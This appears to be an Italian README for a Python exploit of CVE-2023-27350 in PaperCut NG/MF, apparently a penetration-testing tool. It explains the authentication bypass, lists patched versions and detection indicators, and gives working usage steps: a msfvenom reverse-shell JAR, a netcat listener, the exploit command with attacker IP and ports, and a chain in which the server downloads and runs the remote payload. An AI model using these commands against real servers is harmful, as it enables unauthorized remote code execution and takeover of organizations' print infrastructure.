Questo exploit si basa su CVE-2023-27350 ed è stato costruito a partire dall'exploit originale di horizon3ai e dal modulo Metasploit.
Exploit Python standalone per la vulnerabilità critica di bypass dell'autenticazione e esecuzione remota di codice in PaperCut NG/MF. CVSS 9.8.
CVE-2023-27350 colpisce PaperCut NG e MF nelle versioni precedenti a 20.1.7, 21.2.11 e 22.0.9. La falla permette a un attaccante non autenticato di accedere all'endpoint /app?service=page/SetupCompleted — una pagina di configurazione raggiungibile solo durante l'installazione iniziale — e ottenere una sessione amministrativa valida senza alcuna credenziale.
Con accesso amministrativo, l'attaccante può abilitare il meccanismo di scripting di stampa di PaperCut e iniettare codice arbitrario eseguito dalla JVM del server, ottenendo RCE completa nel contesto dell'utente del servizio.
| Ramo | Versione Corretta |
|---|---|
| 20.x | 20.1.7 |
| 21.x | 21.2.11 |
| 22.x | 22.0.9 |
Le versioni 18.x e precedenti non hanno ricevuto patch ufficiali.
Questo exploit è stato sviluppato dall'analisi di due implementazioni pubbliche:
Runtime.exec() con una stringa semplice per eseguire comandiRuntime.exec(String) non elabora metacaratteri shell (>&, |, 0>&1), rendendo inefficaci i payload di reverse shell. Lo script fissa anche l'ID della stampante (l1001) e controlla solo stringhe di successo in inglese, fallendo su istanze non inglesi.exploit/multi/http/papercut_ng_rceURLClassLoader, evitando qualsiasi dipendenza dalla shell.nc.Python 3.x
requests
msfvenom (part of Metasploit Framework)
nc (netcat)
pip install requests
1. Generare il payload JAR
msfvenom -p java/shell_reverse_tcp \
LHOST=<YOUR_IP> LPORT=<SHELL_PORT> \
-f jar -o payload.jar
2. Avviare un listener
nc -lvnp <SHELL_PORT>
3. Eseguire l'exploit
python exploit.py \
-u http://<TARGET>:9191 \
-j payload.jar \
-lh <YOUR_IP> \
-lp <HTTP_PORT> \
-rp <SHELL_PORT>
Esempio:
python exploit.py \
-u http://192.168.1.100:9191 \
-j payload.jar \
-lh 192.168.1.10 \
-lp 9090 \
-rp 4444
| Parametro | Descrizione | Predefinito |
|---|---|---|
-u / --url | URL base di PaperCut | richiesto |
-j / --jar | Percorso del payload.jar | richiesto |
-lh / --lhost | Il tuo IP (il target si collegherà qui) | richiesto |
-lp / --lport | Porta HTTP per servire il JAR | 9090 |
-rp / --rport | Porta della reverse shell | 4444 |
1. Auth bypass via /app?service=page/SetupCompleted
↓
2. Obtain admin JSESSIONID without credentials
↓
3. Select [Template Printer] (l1001)
↓
4. Inject RhinoJS script into the print script field
↓
5. Script creates a URLClassLoader pointing to our HTTP server
↓
6. PaperCut JVM downloads and executes payload.jar
↓
7. Reverse shell
/app?service=page/SetupCompleted senza una sessione precedenteprint-and-device.script.enabled e print.script.sandboxed (versioni >= 19)URLClassLoader con un URL esterno nei log JVMQuesto exploit è fornito a scopo educativo e solo per uso autorizzato (test di penetrazione, CTF, ambienti di laboratorio). L'uso non autorizzato contro sistemi senza permesso esplicito è illegale. L'autore non è responsabile per qualsiasi uso improprio.